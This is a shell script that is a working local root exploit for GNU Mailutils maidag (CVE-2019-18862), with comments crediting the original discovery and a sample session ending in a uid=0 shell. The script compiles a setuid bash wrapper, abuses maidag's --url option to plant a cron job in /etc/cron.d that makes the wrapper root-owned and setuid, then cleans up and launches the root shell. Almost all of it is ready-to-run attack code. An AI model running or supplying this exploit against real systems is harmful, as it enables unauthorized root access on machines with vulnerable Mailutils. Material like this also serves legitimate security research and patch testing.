#!/bin/sh
# GNU Mailutils 2.0 <= 3.7 maidag url local root (CVE-2019-18862)
# uses crontab technique
#
# Original discovery and proof of concept by Mike Gualtieri:
# - https://www.mike-gualtieri.com/posts/finding-a-decade-old-flaw-in-gnu-mailutils
# - https://git.savannah.gnu.org/cgit/mailutils.git/commit/?id=739c6ee525a4f7bb76b8fe2bd75e81a122764ced
#
# The GNU Mailutils mail delivery agent `maidag` executable
# is set-uid root and accepts a `--url` argument which allows
# writing and appending data to arbitrary files.
#
# However, the file contents are not fully user-controlled.
# For example: 
#
#   From root@ubuntu-16-04-1-x64 Tue Dec 24 00:54:12 2019
#
#   <user controlled content>
#
# For this reason, using the crontab technique may not work
# on some systems (Ubuntu), as cron bails out at the malformed
# 'From' line:
#
#   Dec 24 21:19:01 ubuntu-16-04-1-x64 cron[893]: (*system*) RELOAD (/etc/crontab)
#   Dec 24 21:19:01 ubuntu-16-04-1-x64 cron[893]: Error: bad minute; while reading /etc/crontab
#   Dec 24 21:19:01 ubuntu-16-04-1-x64 cron[893]: (*system*) ERROR (Syntax error, this crontab file will be ignored)
#
# Refer to exploit.ldpreload.sh for an alternative technique.
#
# Tested on GNU Mailutils 3.7 compiled from source on
# Manjaro Linux 18.1.0 (x86_64).
# ---
# [user@manjaro-18-1-x64 CVE-2019-18862]$ ./exploit.cron.sh 
# [+] /usr/local/sbin/maidag is set-uid
# [*] Compiling ...
# [*] Writing payload to /tmp/payload ...
# [*] Writing stub to /tmp/stub ...
# [*] Adding cron job to /etc/cron.d/0maidag ... (wait a minute)
# -rw------- 1 root user 170 Dec 24 20:15 /etc/cron.d/0maidag
# [+] Success:
# -rwsr-xr-x 1 root root 16648 Dec 24 20:15 /var/tmp/sh
# [*] Cleaning up ...
# [*] Launching root shell: /var/tmp/sh
# [manjaro-18-1-x64 CVE-2019-18862]# id
# uid=0(root) gid=0(root) groups=0(root),3(sys),90(network),98(power),991(lp),998(wheel),1000(user)
# ---
# <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-18862

rootshell="/var/tmp/sh"
payload="/tmp/payload"
stub="/tmp/stub"
cron_path="/etc/cron.d/0maidag"
maidag_path="/usr/local/sbin/maidag"

if test -u "${maidag_path}"; then
  /bin/echo "[+] ${maidag_path} is set-uid"
else
  /bin/echo "[-] ${maidag_path} is not set-uid"
  exit 1
fi

command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
}

if ! command_exists gcc; then
  /bin/echo '[-] gcc is not installed'
  exit 1
fi

/bin/echo "[*] Compiling ..."

cat > /tmp/rootshell.c << "EOF"
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", NULL);
}
EOF

if ! gcc /tmp/rootshell.c -o "${rootshell}"; then
  /bin/echo '[-] Compiling rootshell.c failed'
  exit 1
fi

/bin/rm /tmp/rootshell.c

/bin/echo "[*] Writing payload to ${payload} ..."

/bin/echo -e "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > "${payload}"
/bin/chmod +x "${payload}"

/bin/echo "[*] Writing stub to ${stub} ..."

/bin/echo -e "\n* * * * * root \"${payload}\"\n" > "${stub}"

/bin/echo "[*] Adding cron job to ${cron_path} ... (wait a minute)"

$maidag_path --url "${cron_path}" < "${stub}"

/bin/rm "${stub}"

if ! test -e "${cron_path}"; then
  /bin/echo "[-] Failed to create ${cron_path}"
  /bin/rm "${payload}"
  /bin/rm "${rootshell}"
  exit 1
fi

/bin/ls -la "${cron_path}"

sleep 60

if ! test -u "${rootshell}"; then
  /bin/echo '[-] Failed'
  /bin/rm "${payload}"
  /bin/rm "${rootshell}"
  exit 1
fi

/bin/echo '[+] Success:'
ls -la "${rootshell}"

/bin/echo '[*] Cleaning up ...'
/bin/rm "${payload}"
/bin/echo "/bin/rm \"${cron_path}\"" | "${rootshell}"

/bin/echo "[*] Launching root shell: ${rootshell}"
$rootshell

